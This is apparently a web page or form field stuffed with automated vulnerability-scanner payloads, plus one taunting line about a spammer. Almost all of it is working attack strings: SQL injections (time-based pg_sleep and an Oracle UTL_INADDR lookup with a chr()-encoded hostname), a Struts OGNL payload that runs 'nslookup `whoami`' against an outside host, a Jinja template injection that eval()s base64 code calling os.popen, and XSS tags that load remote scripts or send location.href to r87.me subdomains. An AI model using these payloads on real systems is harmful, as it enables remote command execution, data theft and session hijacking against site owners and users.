(select UTL_INADDR.GET_HOST_ADDRESS(chr(119)||chr(101)||chr(122)||chr(103)||chr(104)||chr(52)||chr(101)||chr(56)||chr(101)||chr(101)||chr(119)||chr(116)||chr(56)||chr(97)||chr(56)||chr(97)||chr(122)||chr(108)||chr(105)||chr(100)||chr(119)||chr(102)||chr(104)||chr(120)||chr(108)||chr(102)||chr(100)||chr(103)||chr(118)||chr(97)||chr(50)||chr(114)||chr(116)||chr(105)||chr(111)||chr(115)||chr(101)||chr(110)||chr(100)||chr(97)||chr(48)||chr(57)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)

1';SELECT pg_sleep(25)-- /* 7c475f0c-e8d2-4e6c-a40b-f95c7846db03 */

1';SELECT pg_sleep(25)-- /* d1ddd6ec-6287-47f3-af10-9e8fe9856354 */

1;SELECT pg_sleep(25)-- /* 8fd468c9-b8d6-4c0a-a542-d22a24c9e410 */

1;SELECT pg_sleep(25)-- /* e85173d8-24a6-42c5-a0e7-5b6f9b884218 */

SELECT pg_sleep(25)-- /* fa217546-47c6-4e9d-9f10-6c64ef9a1b69 */

SELECT pg_sleep(25)-- /* 005aa022-108c-4ce8-9d91-8c9fd5f57730 */

1);SELECT pg_sleep(25)-- /* 7ed7fafe-e407-4fb8-9526-f671d7d1c74b */

1);SELECT pg_sleep(25)-- /* 683cfc3a-b9e3-4089-9f27-8b2a7727d1ab */

1');SELECT pg_sleep(25)-- /* f8070db3-b2ea-4e8b-ba50-f85e2e237002 */

1');SELECT pg_sleep(25)-- /* 16831265-3d55-4d20-a078-445ad7e2e3d1 */

1'));SELECT pg_sleep(25)-- /* f1bb5d60-9d84-4252-ba84-258e95767521 */

1));SELECT pg_sleep(25)-- /* 8623a1e1-7e95-490f-959b-6a90b24b98d4 */

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."wezgh4e8eehf6dhesbxy9w_rumlm0akru90qdqnf""opo.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnZDJWNloyZzBaVGhsWld3Mk5qbHZlWGhzZUhSM2RqTjFkM1ZsZEROcWVHRnFNbmxvZFRseU9Xa3phUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

n3tsp4rke2

<scRipt>netsparker(0x02E071)</scRipt>

//r87.com/n/n.css?0x02E45D

//r87.com/n/n.css?0x02E45E

//r87.com/?0x02E5AA

//r87.com/?0x02E5AB

'"--></style></scRipt><scRipt src="//wezgh4e8eeacjwms-liwdhdigiunk20fbzfgceg-6o4&#46;r87&#46;me"></scRipt>

'"--></style></scRipt><scRipt src="//wezgh4e8eetzdqjq6g00dgelsvzduio4zcjvcfu1heu&#46;r87&#46;me"></scRipt>

Little spamer is having a good time here?

<iMg src=N onerror="this.onerror='';this.src='//wezgh4e8eeqaio9wc6gwpcg3npyyhhku1fzuteoa'+'kdi.r87.me/r/?'+location.href">

<iMg src=N onerror="this.onerror='';this.src='//wezgh4e8eemydhsa45hpocmeuanxjubdzc5r1nmc'+'b1o.r87.me/r/?'+location.href">

<iMg src="//r87.me/images/1.jpg" onload="this.onload='';this.src='//wezgh4e8eeshowvv4wgvwv5yiyj3brii2ljbkezh'+'saw.r87.me/r/?'+location.href">

<iMg src="//r87.me/images/1.jpg" onload="this.onload='';this.src='//wezgh4e8eepjiitglf2t9fznzl8i96oh_ycafcm2'+'6ma.r87.me/r/?'+location.href">

<fRame src=N onload="this.onload='';this.src='//wezgh4e8eeayoblm45dczb75yoqv6i7slbzscpne'+'vig.r87.me/r/?'+location.href">

<fRame src=N onload="this.onload='';this.src='//wezgh4e8eexv1qv-1zcvrk6_c-c0wmjn6d_8yczp'+'vwa.r87.me/r/?'+location.href">